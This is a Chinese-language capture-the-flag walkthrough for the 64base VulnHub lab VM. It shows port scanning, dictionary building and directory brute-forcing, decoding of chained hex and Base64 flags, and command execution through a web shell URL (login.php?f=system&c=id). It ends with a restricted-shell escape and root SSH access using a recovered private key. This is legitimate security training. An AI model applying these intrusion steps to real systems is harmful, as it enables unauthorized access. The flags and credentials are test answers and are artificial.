一、环境搭建
1,下载地址,https://www.vulnhub.com/entry/64base-101,173/
2,使用VirtualBox虚拟机软件,导入
3,启动,为了方便练习,网卡设置的桥接模式
二、渗透练习
1,获取靶机ip地址
输入命令,netdiscover,获取到靶机ip地址,192.168.1.102
2,获取靶机开启哪些服务,端口
输入命令,nmap -sT -T4 -p- 192.168.1.102
-sT,TCP connect()扫描,这是最基本的TCP扫描方式。这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。
-T4,指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4
-p-,指定扫描的端口为所有端口,及1-65535
发现开启了,22,80.4899,62964端口
22,为SSH服务
80,为HTTP服务
4899,Radmin远控服务,是一个远程控制软件(remote administrator)服务端监听的端口
62964,不是常见端口
3,既然开启了80端口,就访问网站,看看是否有突破口
首页
About页
POST页
CONTACT页
4,根据首页提示的Base64解密得到的信息,查看首页源码,发现一串字符串
得到的字符串为:
5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a
字符串为16位字符串,进行转码,得到字符串:
ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg==
显然字符串为Base64加密的,解密为第一个flag:
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}
5,看flag1里面的值也是Base64加密的,所以对flag1的值进行解密,得到字符串
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4
7,寻找线索,在POST页面最下边,找到线索
图像下边有一句:IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377。
再下边有一句评论:Only respond if you are a real Imperial-Class BountyHunter
8,输入命令,dirb http://192.168.1.102 | grep "CODE:401",爆破目录,发现admin目录
进行访问
使用flag得到的账号密码登录不上
9,候制作暴破的密码字典并开始暴破,通过递归复制博客中的所有内容(包括robots.txt,HTML和JavaScript)来制作字典。使用wget正确的标志允许我们将所有内容转储到单个文件中。然后我们可以使用的工具html2dic,并 sort 把它清理干净,并将其转换成可用单词表。
输入命令:wget http://192.168.1.102 -rq -O base64.out
输入命令:html2dic base64.out|sort -u > base64.dict
输入命令:wc -l base64.dict
输入命令:dirb http://192.168.1.102 base64.dict|grep "CODE:401"
重新爆破出一个目录,Imperial-Class
访问新爆破出来的目录,一样提示要登录,输入flag1得到的账号密码,登录成功,但是报错,路径不正确,提示TO THE DARK SIDE!
10,想到之前POST界面的提示信息:Only respond if you are a real Imperial-Class BountyHunter,就得到路径
http://192.168.1.102/Imperial-Class/BountyHunter/
使用flag1得到的账号密码,进行登录,发现界面虽然没有变,但是url变成了
http://192.168.1.102/Imperial-Class/BountyHunter/index.php
源码下多出了一串字符串
basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a
还有两个id
id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756"
id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32"
将得到的几串id值,和basictoken的值放在一起,得到字符串
5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a
看来还是16位编码的,解码之后得到字符串
ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWVXOTFkSFZpWlM1amIyMHZkMkYwWTJnL2RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo=
对得到的Base64编码的值再次解码,得到
flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}
11,把flag2里的值进行解密,得到字符串https://www.youtube.com/watch?v=vJwytFWA8uA,一个视频网址
12,访问连接,是一个不说话的视频,不过标题提示了,使用Burp
13,打开BP,重新输入flag1得到的账号密码。进行抓包,得到flag3
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=}
14,将flag3解密得到,53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id
访问页面结果为webshell界面,不过没返回值
15,想起之前提示:IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377
将URL换成http://192.168.1.102/Imperial-Class/BountyHunter/login.php?f=system&c=id,返回结果
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==} 还有当前用户的id
id换成ls -l,可以列出当前目录
16,对flag4的值进行解密,得到字符串
64base:64base5h377
17,使用得到的账号密码进行ssh登录,无法登录,提示没主机,指定端口62964才是ssh服务
18,看flag4的密码字符串64base5h377,对他进行base64编码,得到NjRiYXNlNWgzNzcK
使用加密之后的密码字符串,登录成功
17,所有命令都无法运行,只有ls得到
well_done_:D
18,发现ind,python,ruby 等很多命令都不能运行,但是 base64 可以运行
输入命令, base64 well_done_:D | base64 --decode
19,测试发现env和echo $PATH/*也都可以运行
20,查看可用的命令,发现一条/var/alt-bin/droids
21,不了解是什么命令,就运行了一下,出现界面
22,发现运行过之后,打破了没法输入shell命令的情况
23,在/var/www/html/admin/S3cR37目录下,找到了flag5
解密得到
Look Inside! :D
24.根据提示查看flag5
输入命令:file flag5{TG9vayBJbnNpZGUhIDpECg==} ,发现16位字符串
25,为了看全字符串,输入命令
flag5{TG9vayBJbnNpZGUhIDpECg==} | /usr/bin/head
得到完整16进制字符
26,进行转码,解密,得到一个私钥
echo "得到的所有字符串" | xxd -p -r | base64 --decode
27,将得到的私钥,输出成一个密钥文件
echo "得到的16进制字符串" | xxd -p -r | base64 --decode > /tmp/ssh.key
28,使用得到的密钥进行登录
输入命令:ssh root@192.168.1.102 -p 62964 -i ssh.key,提示需要密钥
29,将靶机下的flag5图片,传输到攻击机
在kali下执行命令:scp -P 62964 64base@192.168.1.102:/var/www/html/admin/S3cR37/flag5* flag5.jpeg PS:注意这条命令用zsh shell的话会提示zsh: no matches found
打开图片
30,再次使用密钥登录,注意,密钥文件要改权限为600,否则无法使用
输入命令:ssh -p 62964 root@127.0.0.1 -i /tmp/ssh.key
密码输入图片上的字符,usetheforce
登录成功,得到flag6
31,逐步解密
echo "NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK" | base64 -d
echo "4e546b325a4451324e324531595455304e546b7a4d4451354e444d7a4d545a694e446b304d7a4d354d7a49314f5455344e446b334e6a59794e44637a4f545a684e546b314e7a63334e7a5930597a5a6b4e7a677a4d5459784d7a49314e6a4d344e6a49304e7a55324e3245324d7a63354d7a55334f5456684e5463304e6a637a4e444d324e7a4e6b4d32517759516f3d0a" |xxd -p -r|base64 -d
echo "596d467a5a5459304943316b49433932595849766247396a595777764c6d7831613256386247567a637935795a57467343673d3d0a" |xxd -p -r|base64 -d
得到字符串:
base64 -d /var/local/.luke|less.real
运行得到的命令,最终完成
完